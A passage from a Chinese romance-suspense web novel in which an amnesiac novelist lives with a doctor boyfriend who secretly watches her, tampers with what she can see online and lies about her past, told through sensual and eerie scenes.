强有力的手臂一把将她拉了回来,纤细的身躯碰到炙热的胸膛。
下颌抵在她的脑袋上,千瑶直接被完全禁锢在怀中。
修长的手划过她的手臂,与她十指相扣。
“不是说好陪我么,要去哪?”
千瑶没回应,不敢说话,闭上眼睛假装睡觉。
身后的邵柏修也没有再问,二人相拥而眠。
等到千瑶再次醒来,已经是中午了。
身侧的人已经不见。
她简单洗漱后,下楼便看见桌上做好了丰盛的饭菜。
从厨房出来的邵柏修刚好上完最后一道菜。
“简单做了一些,都是你爱吃的。”
千瑶帮忙去拿碗筷,却在她低下去时拿时,见到了垃圾桶里的有丢弃的纸。
纸上都是血,堆在上边很显眼。
她扭头转身看着在饭桌上坐着的男人,他背对着她,似乎察觉她许久没来,转头看了她一眼。
千瑶拿着碗筷出来,放在桌上。
“你受伤了?”
而后她视线下移,注意到邵柏修的右手。
指骨破皮,像是被锋利的东西割过。
血肉翻出,还着渗血。
伤口显然有被处理过,但是处理得很粗糙,没有被重视。
“昨晚急诊有人闹事,我帮了一下忙,伤到了。”
“不痛的,别担心。”邵柏修微微抬手,对她温柔微笑。
千瑶看着那个伤口就这样裸露出来,邵柏修根本就不在意他的伤,草草了事。
他顶着那样的伤还替自己做菜,她心头就像被什么堵住了。
“别站着了,快来吃饭菜要凉了。”
那道伤就在她眼前,她放心不下。
就从电视机底下的柜子拿出医药箱,拿出碘伏、抗生素软膏。
她看向他,“把手给我。”
邵柏修对她笑了笑,见她认真的表情,乖乖伸出手。
一只手撑着下巴,看着她包扎。
视线盯着她,饶有趣味。
千瑶下意识地朝伤口吹气,小心翼翼地用棉签沾碘伏。
“宝宝在关心我,我很开心。”
她耳朵一红。
感觉碰到他的手,温度都在上升。
“你早上回来的时候干嘛不说,拖伤口拖这么久。”
“消毒过了,表皮划伤,小伤口不深。”
“这样容易留疤,早点处理了就好了。”千瑶皱起眉头。
她撕开创可贴,将药膏涂在上边,而后包扎好。
“这样就好了。”
邵柏修看着包扎好的手,“谢谢宝宝。”
午饭过后,邵柏修去医院了。
临走时,他说今天会早些回来,让她在家里乖乖等他。
千瑶去了书房,硕大的键盘墙,每一把的颜色都很好看。
她拿了其中一把,试了试。
触感柔软,感觉不错。
她坐在电脑前,想到邵柏修在车上同自己说的话,她上网搜了一下自己的名字。
上边跳出主页,是她的个人信息,但是很少很少。
只有几张照片,还有出版的书目。
而再往下就是她的车祸新闻。
车祸的画面是在京太高速路,看背景时间是深夜。
车头完全被撵凹进去,她被安全气囊弹昏了。
脑袋流了一滩血,浑身上下血淋淋的,后座开始起火。
现场的救援及时,后边几张是她被抬上担架的照片。
大部分的新闻报道的内容相似,好在无人员死亡。
而她在之后看到的一篇报道:【千瑶情绪失控高速飙车】
这个惹眼的标题,点进去有上万的浏览量。
“失控?”
“难道......真的跟我失忆有关?”
千瑶喃喃自语,开头就是她的一张侧脸照。
长发被风吹拂,拍到她流泪的模样,似乎在冲一个人嘶吼。
而另一个人站在vicotory酒店的门口,被一个立牌挡住了半张脸。
眉眼清俊,眼神深邃。
她认得出,就是邵柏修。
她压下心底的疑惑,她对于这次车祸的事情,也是从邵柏修口中得知的。
报道说,这是发生在车祸前的两小时。
千瑶突如其来地升起一股异样感觉。
她可以等邵柏修回来问他,这些新闻她浏览完毕后关掉了页面。
她在书房看了一会儿书,她之前写的小说有古早风的,杂志风,还有几本侦探悬疑,大部分是言情为主。
她看着往期的作品,渐渐地这些剧情浮现在脑海里,有助于记忆恢复。
不知不觉,就已经到了日落时分。
千瑶放下书,想着邵柏
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修还没回来。
他手受伤了,她尝试做一做今晚的饭菜。
可能也许并不是很好吃。
冰箱里有蔬菜,她打算做个菠菜鸡蛋汤,还有番茄炒蛋,牛肉炒蛋。
这几样做法很简单。
她把手机放在旁边,看着视频学习,盐的用量,油放了多少勺。
千瑶看得很认真,学得也很入迷。
从她身后覆上了一具温热的身躯,手臂挽着她的腰,肩上枕着脑袋。
千瑶被吓了一跳,她转过身,撞上邵柏修的视线。
他双手撑在大理石台面,她被圈在这个狭小的范围内。
“做什么好吃的?”
千瑶不自然地往后退了一步,身后硌到大理石。
“菠菜鸡蛋汤,番茄炒蛋,牛肉炒蛋。但是我还没开始做,你得等等。”
邵柏修身体前倾,“我看看......”
千瑶别过脸去。
他的距离越凑越近,灼灼炙热的气息喷薄在她的脖颈。
他看到身后的视频还在播放,眼中闪过一丝笑意。
邵柏修见她抿着唇,她悄悄地往后退了一步。
千瑶退无可退,而后说:“我要去拿酱油,你先去休息。”
邵柏修没有让位置的动作,反倒揽住她的腰,将她拉近自己。
千瑶的手下意识抵在他的胸膛前。
“从医院回来,你一直都对我很陌生,我能感觉得出来,你和我没有之前那样亲密了。”
“我......”千瑶说不出。
她不知道该说些什么。
她完全不知道失忆前该怎么和男朋友相处的,而且他说自己已经和他同居了五年。
这些年的感情,只有她单方面忘记了,对于邵柏修来说这是很残忍的事情。
千瑶心里酸涩,她怕多说了什么又伤害到他。
从这些天的相处来看,他真的是个很好的人。
邵柏修抚摸着她的脑袋,“你失忆了,我不怪你。”
千瑶抬眼看他,他蹙起眉头,她没有错过他眼中的失望。
“我希望你能真正地接受我,能信任我。你忘了我也没有关系,我们像以前一样就好了。”
“千瑶,我都一直爱着你。”
柔和的光打在邵柏修身上,眉眼柔和,轻声细语。
眼底一片温柔如水,难以掩饰的深情。
“别抗拒我。”
手摩挲着她白皙的脖颈。
修长的手指划过她纤细的脊背。
邵柏修注视着她,厨房暖黄的灯影下,映着他眼中的欲.色。
“宝宝,我想吻你。”
千瑶心上一颤,捏着腰的大手扣着她,让她无法拒绝。
他捧起千瑶的下颌,吻了下去。
“唔——”
千瑶瞬间全线崩溃。
他的吻是灼热而滚烫的,不似寻常的温文尔雅。
他会更进一步地探入,舔舐着她的上颚。
邵柏修扶着她的后颈,修长的手扣着她的腰迹。
千瑶的心怦怦直跳,耳朵红成一片。
吻得身体发软,就像踩在海绵上。
她的手微微抵着他的胸膛,被他拉过手腕,放在自己脖颈上。
让她抱着自己,不要滑下来。
千瑶被吻得两抹红霞晕开脸颊,嘴角处沁润出丝丝银线。
邵柏修低低的喘息在她的唇角,拇指擦过她的唇畔。
“宝宝,再伸出来些。”
5. 第5张照片
他的眼中满是浓重的欲.色,拇指擦过她发烫的脸颊。
邵柏修抱着她,把她放在大理石台面上。
突如其来的悬空让千瑶低声惊呼,搂着他的脖子,大腿接触冰冷的台面。
这个高度让千瑶与邵柏修平视,
随即重重地吻覆盖落下,逼得她微微仰起头。
大手拖着她的腰,把她往前送,她的膝盖被大腿岔开。
让男人更进一步地靠近,缠绵交织,气息交叠。
千瑶被吻得眼中氤氲出水汽,眼尾殷红。搂着邵柏修的手,变得软弱无力地搭在他的肩上。
“不要了......”
千瑶推搡着他的肩,力道小得宛若猫挠。
她的呼吸变得粗重,浑身热得不行。一种她无法掌控的潮热席卷,这种感觉很陌生,令人战粟。
她的精神完全紧绷,脸却已经烧红到了耳根子。
千瑶推着他的力道加重,她不想再这样下去了。
她侧过脸,邵柏修吻到她的唇角。
面对她的抗拒,邵柏修眼中的情.欲未消,眸间逐渐泛上了一层冷意。
她没有看他此时的神情,低喘着出声,“邵柏修,我饿了。”
千瑶从大理石台上下来,脸上的红晕犹存,心里突突直跳。
她低着头,去一旁的冰箱拿了几个鸡蛋,打了好几个在碗里。
连带着一些碎壳都掉进了碗中,她不知所措。
邵柏修从身后拿过那碗鸡蛋液,“还是我来吧,这点小伤做菜还是可以的。”
他捧起她的手,纤长细嫩,指腹微摩挲着。
“你去看会儿电视,吃点零食,很快就好。”
千瑶出厨房后,整个脑子还是懵懵的。坐在电视机前,看着新闻联播。
上边讲着哪国的总统来访,哪里又爆发抗议游行。
她听也没听进去,脑海中全是刚刚在厨房的画面。
千瑶扭头看了一眼厨房,他戴着黑色围裙,刀工利落。
颠锅翻炒时挽起的袖子,肌肉迸发的手臂汗水岑岑。
他做菜很有条不紊,能看出他这个人做事情很严谨,也很细致入微。
千瑶不由得想,失忆前她和邵柏修的接触真的这么亲密吗?
她却一点印象都没有。
“千千,吃饭了。”
邵柏修盛上最后一碟菜,摆好了碗筷。
千瑶吃饭速度很慢,细嚼慢咽。邵柏修做的菜都很好吃,酸甜口,甜辣口都是她很喜欢的。
他夹了一块剔骨的鱼肉到她碗中。
“下午在忙什么?”他问。
“看了会儿书。”
千瑶脑海中闪过那个新闻图片,她咀嚼得动作慢下来。
“我看到一个新闻,就是车祸前两小时,我是不是和你见过面?”
邵柏修夹菜的筷子动作慢了一瞬,“嗯。”
“我看图片上我好像很伤心,新闻还说我飙车,那这和我车祸有没有关系?我觉着我应该不太可能在高速上这样,飙车很危险的。”
“当时到底发生了什么?你能跟我说说吗?”
千瑶直勾勾地看着邵柏修,饭也不吃了。
她真的很想知道。
邵柏修看着她,叹了口气。他放下筷子,眉眼认真。
“你也知道新闻都是夸大其词的,不过......”
他顿了顿,“都是我的错,因为一些事情,你和我发生了争执,但是情绪不太好。”
“我一直很后悔,不该跟你争吵。你当时那个情绪开车,导致了现在这个后果。好在......好在你没有大碍。”
邵柏修情绪消沉,指尖发白,还在微微颤抖。
似乎想起她在病床上那张苍白的脸,他就不可遏制地谴责自己。
“那到底我们因为什么事争执?”千瑶追问。
邵柏修看着她,“因为你的书出版。”
“出版?”
“你当时签了一个出版合同,但是我觉得那是你的编辑关和志骗你签的霸王条款,他和别的公司串通好了,给你做局,导致你那本书的版权贱卖给了别的公司。”
“你不相信,并且觉得我擅自主张地替你回绝人,你很生气。”
“因为这件事,我们一直在争吵。”邵柏修嘴唇抿成一条线。
“这样啊。”
千瑶听他的解释,心底的疑虑渐渐消除。
但她还是觉得哪里怪怪的。
邵柏修认真地注视着她,“是我没有好好和你沟通,你能原谅我吗?”
“如果不是我,你也不会发生这样的事情。”
千瑶见他越说越自责,客厅的白炽灯光照在他低垂的眉眼。
“争吵是两个人的事,你不要把错都揽在自己身上。我觉得当时我也情绪化,车祸本就与你无关。”
听见千瑶这么说,邵柏修渐渐地勾起唇角,扬起笑意。
“宝宝真好,我就知道宝宝不会怪我。”
千瑶耳朵又红了,没有抬眼看他。
晚饭过后,千瑶去洗澡,她擦着湿漉漉的头发下楼。
见到邵柏修在调酒,她好奇地看他用量酒器调配比例。
摇晃雪克壶时不紧不慢,酒杯中放了些适量冰块,一会儿就把摇好的酒倒入。
酒下层像淡蓝色的天空,上层是粉嫩的红色。
很好看,他将酒放在她面前。
“尝尝?度数不高,正好适合你。”
千瑶拿过酒杯,闻了一下,有点栀子花的清香。
“这杯酒叫什么?”
她浅尝一口,前期有些涩,但后调是温和微微炙热。
烧着舌尖,酥酥麻麻。
喝下时那股热流,心间就像是被什么撞了一下。
他说:“动心。”
千瑶捂着胸口,抬眼时撞入他的眼眸,心怦怦直跳。
她下意识闪避开目光,将酒放在酒台上。
“调得很不错,我觉得很好喝,下次有机会我也学一学。”
“酒尝一尝就好了,喝多了容易醉。你头发还是湿的,过来我帮你吹。”
邵柏修说完将她手中的酒一饮而尽,牵着千瑶的手,让她坐在沙发上。
他试了吹风机的温度,不是太烫。
千瑶靠着沙发,身后是站着的邵柏修。
吹风机的呼呼声在耳边,手缓缓穿过她的发丝。
温暖轻柔,就像在按摩。
“宝宝,明天是周末,我们去玩好不好?”
“去哪儿?”
“时代广场二楼新开了一家密室逃脱,我们去玩玩?”
听到那四个字。
千瑶犹豫了,“啊?”
“好久没和你出去了,我每次都在医院忙得昏头转向,很少陪你。我想着明天我正好休假,咱们一起去吧。那儿新上的《鬼纸人》听说很多好评,我们去试试。”
千瑶皱了皱眉头,不太喜欢这类型的游戏,但邵柏修好像很喜欢。
他难得休假,也很开心和她一起,千瑶不想扫了他的兴。
应该也不会特别恐怖,反正都是人扮演的。
“好。”
千瑶同意。
“宝宝真好。”
他俯身一吻在她的侧脸。
吹好头发后,千瑶先他一步回房休息。
回到房间的千瑶呆愣愣地坐在床上,揉了揉滚烫发红的脸,镜中的自己脸红得明显。
她手扇了扇风,喝完桌上的水,脑袋乱糟糟的。
邵柏修的动作总是猝不及防,有些太亲密了,让她无所适从。
她想要慢慢来,慢慢与他相处的。
千瑶躺在床上若有所思,她来到门口,将门把手反锁。
听到咯嗒一声,锁上了。<
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她试着拧把手,拧不动.
她安心地回床上睡觉了。
邵柏修看着手机上发来的消息,医院的关和志对自己骗签合同诈骗的罪行供认不讳。
那场版权纠纷的官司打赢了,千瑶没有损失。
他要求见千瑶,想给他谅解的机会。
凭借两人多年的情谊,关和志觉得她应该不会揪着不放。
邵柏修仰靠着沙发,低声嗤笑。
他勾了勾唇,拨通了一个电话,“你好,警察同志,我要报案......”
邵柏修处理完后,他上楼往自己的房间而去。
站在房门前,脚步停住,目光看向另一侧。
邵柏修不疾不徐,走廊的灯映着他修长的影子。
他走向千瑶房间,拧了把手,纹丝不动。
邵柏修看着门把手,嘴角噙着笑意。
在防着他。
他的宝宝还是没有完全信任他。
千瑶一觉睡到天亮,下腹一阵热流而过,她连忙起身去厕所。
翻来覆去找到卫生巾,她才稍稍安心。
千瑶捂着肚子,来那个酸胀有点难受。见到床单上的红色污渍,蹙起眉头。
她将床单脱下来,换上了一床新的,脏的得拿去洗。
洗衣机在阳台那边,千瑶抱着床单出去。
刚出房门,转头就遇上邵柏修。
她走得着急,差点直愣愣地撞上他胸口。
“看路哦。”
“抱歉。”
邵柏修见她抱着一团床单,而下边垂下来的一角,点点红色染在白色被单上。
红白的对比,极其惹眼。
千瑶注意到他的视线,一紧张,“你转过去。”
邵柏修转身,一动不敢动。
千瑶飞快地将被单放入洗衣机里,放了洗衣液,调好时间。
等到洗衣机转动,她看向走廊。
邵柏修已经不在了,她刚才简直尴尬得不行。
她就应该趁邵柏修不在的时候洗,还让他见到这些。
千瑶扶额,她怎么总在他面前出糗。
千瑶下楼见到桌上的早餐已经备好了,她的位置上还放着一杯红糖水。
她摸着很烫,是刚刚弄好的。
“谢谢。”她声音小小的。
邵柏修低头一笑,笑着看她。
“我已经和那边预约好了,等会儿咱们吃好就过去吧。”
时代广场,二楼。
恐怖密室,两人场。
验完票后,邵柏修见千瑶在他身后走得慢慢的。
他和她放慢步子,握着她冰凉的手,千瑶没有抽开,反而抓着邵柏修的手很紧。
“万一我们解不出来怎么办?要一直在这儿被吓吗?”
“不会的,你别紧张。”
“我没有紧张,我只是......问问。”
她两只手抓着邵柏修的手臂,一刻也不敢松开。
“那我们会分开吗?”
邵柏修看着她抓着自己的手,拉长声音,“也许会哦。”
“所以你最好跟紧我,千万别松手。”
黑漆漆的长廊,传来小孩的哭声。
他一直在哭,哭得很凄厉。
千瑶的心七上八下的,黑暗中唯一的依靠便是身旁的邵柏修。
她走着走着,好像踢到一个东西。
是个头骨。
在仅存的一点灯泡光线下,她见到是个小孩的头骨。
“邵、邵柏修——”
她吓得不行,深呼吸了还是怕。
“嗯?”
此时一个光影在窗口闪过,是个小孩纸人在冲她微笑。
千瑶吓得抱住邵柏修,死死抱着他的腰,力气大得直接把他推在了墙上。
他胸口撞入一个毛茸茸的脑袋,硌着他从喉间溢出一声闷哼。
6. 第6张照片
“怎么了?”
“有、有东西。”
他手轻拍怀中人的背,轻轻安抚。
邵柏修柔声道:“我在呢,不怕。”
他带着千瑶找信息,找到线索后,邵柏修很快就解开了密码。
进入下一关,怀中人死死地抱着他的腰。
邵柏修低声轻笑,千瑶闭着眼,没睁开过,她每一步都不是自己想走的。
纸嫁衣,新娘子,正梳妆。
“此情可待,裴郎,你在哪儿?”
“是谁!是谁杀了我的裴郎!!!”
新娘子阴森地笑,出现在两人的身后。
她提着刀,一只手提着头颅,往他们这边来。
千瑶透过光影看去,那只头颅鲜血淋漓,新娘子笑得诡异。
就像一个假人在学习如何笑,僵硬得像提线木偶。
手腕忽地被邵柏修抓住,“快跑!”
千瑶立刻和他躲进了一间房间,可是房门外,新娘的脚步声。
嗒嗒嗒——
还有刀和地面发出的摩擦声。
而此时的千瑶,肚子微微发疼。
她抿了抿唇,想缓一缓。
邵柏修见她俯下身,捂着肚子。
“千千,还好吗?”邵柏修问道。
“我肚子有点不舒服,但我还可以。”
千瑶见到外边人就要进来了,她实在紧张,忽然见到一个硕大的衣柜。
她眼睛一亮,“快,我们躲到那儿,别被她发现了。”
千瑶打开柜子,刚好可以躲两人。
她和邵柏修挤在一起,他大手揽着她,千瑶蜷缩在他怀里。
两个人进去后,柜子瞬间变得拥挤。
她靠在邵柏修胸口,眼睛透过柜子的缝隙在观察外边的情况。
男人灼热的气息喷薄在她的脖颈上,痒痒的,千瑶缩了缩脖子。
手肘硌在柜门上,发出响声。
她顿时惊得一动不敢动,一点点声音都会在偌大的房间内听得很清楚。
邵柏修看着身上的人,就像受惊的小兔。
眼睛睁得大大的,手攥着他胸口的衣料,很小心翼翼。
千瑶不敢让那东西发现他们,她不想被单独抓去做单线任务。
她不行的。
邵柏修贴近她的耳朵,声音很低沉,“还痛吗?”
千瑶抿着唇,她小腹还在隐隐作痛。
她没说话,但是男人的手已经往她腰上伸了过来。
“我给你揉揉。”
昏暗之中,看不见千瑶的情态。
她的耳朵渐渐染上绯红,他的动作很慢,在她的肚子上按摩。
修长的手指打着圈,他的手很暖。
而后逐渐探入她的衣摆,肌肤触碰到他的手指。
狭小的衣柜逐渐升温,按揉的指尖轻颤。
指尖划过,身体掀起战粟。就像被触电般的酥麻,每一下都点在了心尖上。
她不敢推得太过,会弄出声音的,手臂的线条紧绷,她趴在他的肩头轻微喘息。
“宝宝,放松些。”
邵柏修吻着她的耳尖,轻声说道。
邵柏修的手按压得很有手法,她的腰完全软了下来。
不知按到了什么地方,她从喉咙间破碎出一声呻吟。
千瑶的手扶着他的手臂,被揉得喘息急切,“邵柏修......这样很奇怪。”
冰凉的食指抵在她唇间,“嘘——不隔音。”
骤然耳垂被人轻咬,潮热的吻缠绵,一步步地引诱她丧失理智。
邵柏修的吻撩拨着她,让她齿间微张,而后一发不可收拾。
激吻让千瑶的脑袋晕乎乎的,她觉得这样不太对。
身体不由自己控制,一波波地快感翻涌而起,冲击着她的心理防线。
邵柏修的手揉捏着她的腰肢,男人的喘息混杂着涩气。
“邵、邵柏修,她应该走了,我们出去吧。”
她小小声的,唇间泛着水光。
“好的宝宝。”
邵柏修松开她,千瑶迫不及待地推开门,从柜子里出来。
好在光线昏暗,看不到她红晕的脸。
千瑶感觉独自面对邵柏修,就有一种紧张感。
甚至比刚刚的鬼新娘还紧张,心跳得比见到任何恐怖npc还快。
刚刚邵柏修替她揉肚子,是好心的,但她的身体变得很奇怪。
还、还在柜子里和他接吻。
舒服,可潜意识又觉得不该这样。
“千千,愣神呢?”
邵柏修站在她面前,一把钥匙出现在他手里。
“咱们可以出去了。”
千瑶挽着他的手臂,钥匙是对的。
邵柏修找线索解密是真的很快,她几乎没有发挥的空间。
她之前猜了几次密码都没猜中,她也不灰心。
只要能离开这里,谁解都是一样的。
从密室里出来后,千瑶蔫蔫的,肚子还是好痛。
邵柏修让她坐在一旁的凳子上,先缓一缓。
“喝了热水会好些。”
保温杯里的热水是他不知道什么地方接来的,他打开盖子,倒出一些。
喝了一口温度合适,而后递给千瑶。
千瑶喝下,胃里暖暖的。
她现在好了很多。
“千千!”
远处传来一个声音。
千瑶扭头,见到一个穿着浅蓝色西装的男人朝她走来。
内部的衬衫上部扣子解开,他笑得开朗,有些肆意张狂。
身后的一众经理保镖跟着,没敢上前,与他们隔着一定的距离。
他的面容俊朗,扬了扬眉,“诶呀,我大老远就见到你了。”
他目光一转,“修哥也在。”
“你伤好些没?没摔坏脑子吧?”
骆远认真地打量了一下千瑶,见她全须全尾的,恢复得还不错。
千瑶见他好像认识自己,把杯子放在一旁,站起来和他说话,“没摔坏,腿也恢复得还可以,你认识我?”
骆远一愣。
“啊?”
“不是,我啊。”
他皱着一张脸,不可置信,“我骆远,你不认得?你远哥。”
“远哥?”
“骆远,她失忆了,忘了跟你说了。”邵柏修在一旁道。
邵柏修让千瑶坐下,她没必要站着。
把暖宝宝放在她怀里,让她捂着。
“失、失忆?”骆远指着她,看着邵柏修。
“嗯,我的女朋友现在还在修养阶段。不过她不记得了,给她些恢复的时间,会记起来的。”
千瑶看向骆远,点头是他说的那样。
她见到骆远像是见鬼似得看着她和邵柏修。
脸色变得铁青,吊儿郎当的笑骤然消失。
表情僵硬,看上去很震惊。
“女朋友......”喃喃自语。
末了,他看着邵柏修,像是明白了什么。
他倏然笑了,笑得很冷。
邵柏修看向千瑶,“千千,我们回去吧
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。”
“好。”
骆远看着二人坐电梯而下,视线追随着,见到邵柏修揽着千瑶的腰,瞳孔微微一缩。
骆远视线未收回,就与一道冰冷的视线对上。
邵柏修微仰头,做了一个噤声的手势。
无声警告。
身旁人说了些什么,邵柏修俯下身,耐心倾听着。
嘴角噙着笑意,同她说了些什么,惹得千瑶笑得耳朵都红了。
二楼的骆远看着他们从商场出去,视线停留了很久很久。
千瑶回到家后,见到院子里的花草。
她心上一动,想要打理它们。
她同邵柏修说后,他就给花草施肥,她就负责修剪。
千瑶拿着剪刀在修修剪剪,不远处的邵柏修半蹲着,拿铲子给花松土。
她看着邵柏修认真的模样,脑海中零星地闪过画面。
“呜呜呜——是你杀了兔兔吗?”
她眼泪大滴大滴地往下流,看着邵柏修在挖坑,脸色阴冷,一言不发。
他将死去的兔子放进坑里,耳边的女孩一直在哭哭啼啼。
“你为什么不说话?”
千瑶怯生生地看着那只兔子,肚子被割开,肠子内脏一览无余。
尸体血淋淋的,邵柏修的手也是血淋淋的。
拿着铲子的手肮脏,血和土都黏在一起覆在他手上。
天下起大雨,冲刷着花园的草地,变得泥泞不堪。
雨水砸在他们身上,眼泪混杂着雨水,千瑶看着这一幕身体颤抖。
她双手环抱着洋娃娃,怯生生地看着他。
雷声轰隆,银白的闪电撕裂暗夜。
尸体散发的腥臭味,血水顺着被开膛破肚的兔子流了出来。
“我要告诉邵叔叔——”她害怕极了。
“不许去!”
千瑶被吼了,她吓得瘫倒在地。
洋娃娃滚落,掉到一边。
邵柏修拿着铲子,朝她走过来,揪起洋娃娃的头发,将它扔进兔子坑里。
而后转身,低头审视着地上的女孩。
眼里毫无温度,吐出一个字“滚。”
“千千?”
千瑶忽地一震,剪刀掉在地上。
邵柏修捡起剪刀,递给她,“想什么呢?这么出神。”
她看着邵柏修的脸,怔了怔。
“哦,没、没什么。”她接过剪刀。
千瑶剪花枝,却心不在焉的。
她视线追随着邵柏修,他松土的动作很熟练,不是第一回做这些事情了。
千瑶锤了锤自己的脑袋,觉得自己在胡思乱想。
邵柏修这么温柔的一个人,怎么可能做那些事情。
他不会说粗俗的话,她与邵柏修相处间,就没见过他发火。
千瑶暗自点头,可能真的是她想多了。
他们整理好花园后,邵柏修去书房忙别的事情去了。
千瑶闲着没事,打算看个电影。
她看得津津有味,剧情也引人入胜。
她边看边吃着蛋糕,看到后边真的很上头。
男主身边的人总是和他说一样的话,就像一个npc。
包括天气,海浪,都是假的。
他所经历的一切,人生的前三十年,都是在人精心设计下的生活。
正当看到高潮时,电影忽然暂停。
“嗯?”
正当她疑惑时,邵柏修拿着遥控器正在看着她。
镜片下的视线晦涩不明,“在看《楚门的世界》?”
7. 第7张照片
千瑶点头,想要拿回遥控器,但邵柏修没给。
她疑惑地看向他,不明白他干嘛要这样。
邵柏修看了一眼腕表,“宝宝,太晚了,回去睡觉吧。”
“还差一点儿呢,男主还没有逃脱,我再看看。”
邵柏修带了些无奈,“快一点钟了,乖,明天再看也是一样的,熬夜对身体不好。”
千瑶挣扎了一瞬,她也有点困。
想想也是,明天还能看,就听他的话上楼了。
邵柏修注视着她的背影,直至在消失在视线中。
他扭头看着电视,电影的名字在荧幕顶上惹眼,眼眸深了几许。
邵柏修打开手提电脑,电脑的页面呈黑绿色,修长的手指敲着键盘,绿色的代码在屏幕上飞跃跳动。
页面滚动得很快,让人看不懂上边的内容。
镜面反射着繁杂的程序,全程不超过五分钟。
他合上电脑,勾起唇角。
第二天,邵柏修去上班了,桌上放着早餐,桌边还有一张字条。
【好好吃早餐,冷了就放进微波炉热一下。爱你,等我回来。】
千瑶看着上边的字,笔锋凌厉,工整好看。
在字条旁还画了个爱心,她唇角漾开笑意。
她拿着一块三明治,来到客厅,想看昨晚的电影。
她点进历史观看,没有找到记录。
她按了一会儿,回到首页。原本它在主页中间很显眼,一下就能点开的。
千瑶咬着三明治,搜索《楚门的世界》,跳出显示已下架。
“怎么回事......”
她捣鼓了几下,还是看不了。
她兴致缺缺,好好的电影怎么就下架了。
千瑶放下遥控器,不再去管,吃完了早餐。
她来到书房,打算在电脑看。
“无资源?”
她用不同网站搜了好几次,不是显示下架就是无资源。
千瑶啧了一声,手机上搜也不行,还是一样的情况。
看来这个电影她是看不了了。
几番搜索下来,无功而返。
原先想看的心情逐渐被磨灭,她就索性不看了。
千瑶打开小说网站,她现在正在更一本小说,最后更新的时间是车祸前一天。
下边很多读者追读、催更。还有人听说新闻上发生的事,对她说很多关心的话语。
看着这些评论,千瑶心里泛起暖意。
《青梅若止》还在连载,可如今断更将近一个月。
她打算把这一本继续更完,不想辜负这么多人的期待。
至于她的稿费......
看了一眼后台,数目还是很可观的。
她能够给邵柏修付房费和水电费。
码字软件上的大纲细纲是之前的,她又再原先的基础上详细修改。
她按照自己的想法,续写原来的故事。
千瑶熟悉了主线故事,梳理完高潮点,变得游刃有余。
她很快上手,越写越上头,进入了心流状态。
邵柏修看着屏幕中的千瑶,她时而呆愣地撑着下巴,直勾勾地盯着电脑苦思冥想。
而后她又想到什么,眉飞色舞,迅速进入状态,打字飞快。
她的灵感来了。
“邵医生,看什么呢?”
邵柏修手机息屏,“在看养的兔子。”他微微一笑,“她很乖。”
“兔子?我也养宠物,是一只三花猫,没事的时候也总想着它。”
“哦对了,等会儿需要你去协助李主任,下午两点半的那台手术。”
“好的。”
邵柏修看了眼时间,距离手术开始还有半小时,他离开了休息室。
穿过走廊,听到一些声音。
“恭喜林姐,新升任了护士长。”几名小护士喜道。
“之前vip病房真的是千瑶大大啊,可惜了我刚知道,不然我早就拿书去找她签名了。”
“不过,邵医生什么时候有女朋友了?还是......千瑶?”
“上次有个女生来给他送东西,那个就是千小姐,是他女朋友,现在两人甜蜜着呢。”林姐仔细解释道。
“这样啊,林姐果然是八卦一线。”
年轻女护士皱眉,“可是她作话明明说跟男朋友分手了......”
她可是千瑶的忠实粉丝,每一章都没落下的。
她当时就该入职早一点,这样还能见到她,直接得亲签。
“谁?”另一位护士问。
“千瑶在13号的作话说过她要和男朋友分手,不过没说原因,感觉那时她心情不好,两人相处有问题,看得出她决心斩断这场关系了。
“不会吧?”
“那一章是她车祸前就发出来了的,不信我给你看。”
年轻护士翻了一下小说,在《青梅若止》最新章没看到作话。
“啊?大大删掉了?”
她挠了挠头发,“我记得有的......”
忽地手被什么东西撞了,手机掉在地上。
年轻护士被吓了一跳,抬头见到邵柏修。
她弯腰下去捡手机,邵柏修的手比她更快触及到。
“抱歉,走得着急了。”
邵柏修带着歉意的微笑,将手机还给她。
“没事没事。”年轻护士说道。
林姐上前,“哎哟,邵医生,刚刚的话你别放心上。小姑娘不懂事,都瞎说的。”
林姐仔细观察着他的神情,她看起来有些紧张。
“小刘刚来,一些东西不太明白。”
其余的护士不敢出声。
“上次林姐照顾千千用心了,还没恭喜你升职。”
邵柏修一笑,看起来没有在意。
“用心照顾病人这都是工作本分,千小姐恢复好就行。”
“那我就先去忙了,还有一台手术。”
林姐笑着点头,“好好,你快去。”
她见邵柏修离开,顿时心里松了一口气。
她扭头看向身后的年轻护士,和蔼的笑意不再,“都做好自己的事,少八卦,还不去干活?”
一群人散了,忙活起来。
“还有你小刘,你还在实习期吧,有些话该说有些话不该说,自己要懂。”
“你下次,少出现在邵医生面前。”
“为什么?”
年轻护士不解,她不过是说了几句话而已。
林姐皱眉,神色冷了下来,看她有点天真。
“你来这里实习前,不知道背调?”
-
千瑶伸了个懒腰,她总算是把这一章写完了。
看着窗外,天都黑了。
下楼时,邵柏修刚好开门进来。
千瑶看着他愣神,站在第三格阶梯。
她还没下到地面便被人拥入怀中,直接把她抱了下来。
二人的距离很近,男人搂着她的腰,他的拥抱很温暖。
他贴着千瑶的耳朵,轻声细语。
“宝宝,想我没?”
磁性的声音响起,他的手抚摸着她的后颈。
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冰凉的食指揉捏着她的耳垂,“嗯?”
“想你的。”
听到回应后,邵柏修轻笑一声。
千瑶说完后的脸蹭一下就红了,全然落入邵柏修眼中。
他吻着千瑶的脸颊,她没有躲开。
“宝宝我给你买了礼物,看看喜不喜欢。”
一个棕色长方形礼盒送到她眼前,蝴蝶结打得很漂亮。
她打开是一串珍珠项链。
在灯光的光照下,珍珠圆润饱满,银白胜雪。
她抚摸着,透着冰凉。
千瑶弯起嘴角,她特别喜欢珍珠。
“我帮你戴上。”
邵柏修拿起项链,他靠近她,淡淡的气息在她的额头。
将她的头发撩至胸前,就像将她环在怀里。
把项链扣紧,千瑶戴着很适合。
衬得她的肌肤白皙。
“谢谢你,邵柏修。”千瑶低头摸着项链。
“只是谢谢吗?”
邵柏修捧着她的脸,柔声地引诱,“亲我,宝宝。”
他的声线低沉微哑,拇指按在她的唇上。
俊朗的容颜沐浴在光线下,他温柔地注视着她。
时间仿佛在这一刻静止,气氛开始升温。
千瑶顶着灼灼视线,滚烫缠绵,她肉眼可见地耳尖泛红。
她就像被蛊惑,目之所及,停在他的唇上。
就那一瞬间,她踮起脚,蜻蜓点水地吻上他的唇。
而当她离开时,后颈被大手按住,把她往前送,反而加深了这个吻。
眼中情愫悄然化开,如同点点笔墨扫过心间。
男人微勾着她的舌尖,扫过她的每一寸,“学会呼吸。”
千瑶微张开唇畔,呼吸间都是男人的气息。
唇色变得更加红,他不满足于浅尝辄止,咬上着她的唇。
“唔——”
